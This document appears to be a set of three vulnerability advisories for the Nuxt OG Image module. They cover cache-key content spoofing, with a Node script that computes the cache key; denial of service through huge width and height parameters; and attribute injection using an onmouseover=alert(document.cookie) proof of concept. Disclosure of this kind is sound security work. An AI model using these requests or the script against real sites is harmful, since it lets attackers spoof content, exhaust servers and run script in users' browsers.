Vendor: Nuxt Product: Nuxt OG Image Version: 6.2.5 Description: Due to the specifics of caching and key generation in the Open Graph image cache created by the module, an unauthenticated attacker can modify the content of the image (for example, the title parameter) that is delivered to the user. Impact: Content Spoofing Vulnerable component: route /og/d/.png Exploitation conditions: Access to the application Mitigation: Upgrade to 6.7.2 and set a sufficiently secure secret in config ogImage Researcher: Dmitry Vanin (Positive Technologies)
Research During the previous vulnerability research, it was discovered that version 6.2.5 changed the mechanism for generating cache indexes; it now takes into account the parameters passed during image generation.
However, the image is still generated from data transmitted to the attacker.
Listing 1. New code for generating indexes in cache export function resolvePathCacheKey(e: H3Event, path: string, resolvedOptions?: Record<string, any>) { const siteConfig = getSiteConfig(e, { resolveRefs: true, }) const basePath = withoutTrailingSlash(withoutLeadingSlash(normalizeKey(path))) const hashParts: any[] = [ basePath, import.meta.prerender ? '' : siteConfig.url, ] // Hash resolved options (not raw query string) so unknown/extra query params // cannot produce unique cache keys and bypass the cache. if (resolvedOptions) hashParts.push(hash(resolvedOptions)) return [ (!basePath || basePath === '/') ? 'index' : basePath, hash(hashParts), ].join(':') } In this case, basePath is obtained from the path parameter, resolvedOptions are the normalized settings of the component, for example:
Listing 2. An example of resolvedOptions {"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageDefaultImageTakumi"} From the analysis of resolvedOptions, it was concluded that, in general, all parameters are known either from the direct link to the OG Image or from the server response.
Vulnerability reproduction
1. Find the route to OG Image. Figure 1. Demonstration of finding the route to OG Image <img width="974" height="361" alt="image" src="https://github.com/user-attachments/assets/d3ee6b54-d545-4a3b-8cbf-f82df99ed4d0" />
2. Retrieve parameters from the server’s response, especially cacheMaxAgeSeconds (cache-control header, s-maxage key), the other parameters are known from the meta tags as well as from the c<component name> parameter. Figure 2. Obtaining parameters <img width="974" height="245" alt="image" src="https://github.com/user-attachments/assets/84a4cd8b-9281-47ef-b524-0047a0f6077a" />
3. Generate a cache key using a script. Listing 3. Srcipt import {hash} from "ohash";
var url = "https://contoso.com"
var obj = JSON.parse({"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageBlogPostTakumi"})
var basePath = '/'
var hashParts = [ basePath, url ] if (obj) hashParts.push(hash(obj))
console.log([ (!basePath || basePath === '/') ? 'index' : basePath, hash(hashParts), ].join(':')) 4. Repeat the steps as in the vulnerability 1, but transmit the obtained cacheKey in addition. 5. Thus, the same result as in the vulnerability 1 was obtained. Figure 4. Server response <img width="974" height="729" alt="image" src="https://github.com/user-attachments/assets/5895c0e8-e497-410d-bef9-f6f2f9649261" />
Credits Researcher: Dmitry Vanin (Positive Technologies)
Product: Nuxt OG Image Version: 6.1.2 CWE-ID: CWE-404: Improper Resource Shutdown or Release Description: Failure to limit the length and width of the generated image results in a denial of service. Impact: Denial of service Exploitation condition: An external user Mitigation: Implement a limitation on the width and length of the generated image. Researcher: Dmitry Prokhorov (Positive Technologies)
Research During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered. This research revealed that the image‑generation component by the URI: /og/d/ (and, in older versions, /og-image/) contains a Denial of Service (DoS) vulnerability. The issue arises because there is no restriction on the width and height parameters of the generated image. The vulnerability was reproduced using the standard configuration and the default templates.
Listing 1. The content of the configuration file nuxt.config.ts export default defineNuxtConfig({ modules: ['nuxt-og-image'], devServer: { host: 'web-test.local', port: 3000 }, site: { url: 'http://web-test.local:3000', }, ogImage: { fonts: [ 'Inter:400', 'Inter:700' ], } })
Vulnerability reproduction To demonstrate the proof‑of‑concept, a request should be sent with the increased width and height parameters. This will cause a delay and exhaust the server’s resources during image generation.
Listing 2. HTTP-request example GET /og/d/og.png?width=20000&height=20000 HTTP/1.1 Host: web-test.local:3000
Figure 1. HTTP-response: denial-of-service error <img width="974" height="663" alt="image" src="https://github.com/user-attachments/assets/ff625249-2e0d-4a03-a734-3a77fd0cbb81" />
After sending a HTTP-request, the test server's memory was exhausted.
Figure 2. Video memory exhausted error <img width="863" height="1033" alt="image" src="https://github.com/user-attachments/assets/66b5919a-f039-468e-812e-1f709c468287" />
Credits Researcher: Dmitry Prokhorov (Positive Technologies)
Product: Nuxt OG Image Version: 6.1.2 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation Description: Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection. Impact: Client-Side JavaScript Execution Exploitation condition: An external user Mitigation: Correct the logic of parsing GET parameters and their subsequent implementation into the generated page. Researcher: Dmitry Prokhorov (Positive Technologies)
Research During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered. This research revealed that the image‑generation component by the URI: /og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.
Listing 1. The content of the configuration file nuxt.config.ts export default defineNuxtConfig({ modules: ['nuxt-og-image'], devServer: { host: 'web-test.local', port: 3000 }, site: { url: 'http://web-test.local:3000', }, ogImage: { fonts: [ 'Inter:400', 'Inter:700' ], } })
Vulnerability reproduction To demonstrate the proof‑of‑concept, follow the URI: /og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie)&autofocus The injected parameters onmouseover=alert(document.cookie) and autofocus are treated as attributes and are inserted directly into the generated HTML page.
Listing 2. HTTP-request example GET /og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie) HTTP/1.1 Host: web-test.local:3000
Figure 1. The injected attribute in the HTML body <img width="974" height="670" alt="image" src="https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745" />
Figure 2. JavaScript code execution <img width="974" height="291" alt="image" src="https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8" />
Credits Researcher: Dmitry Prokhorov (Positive Technologies)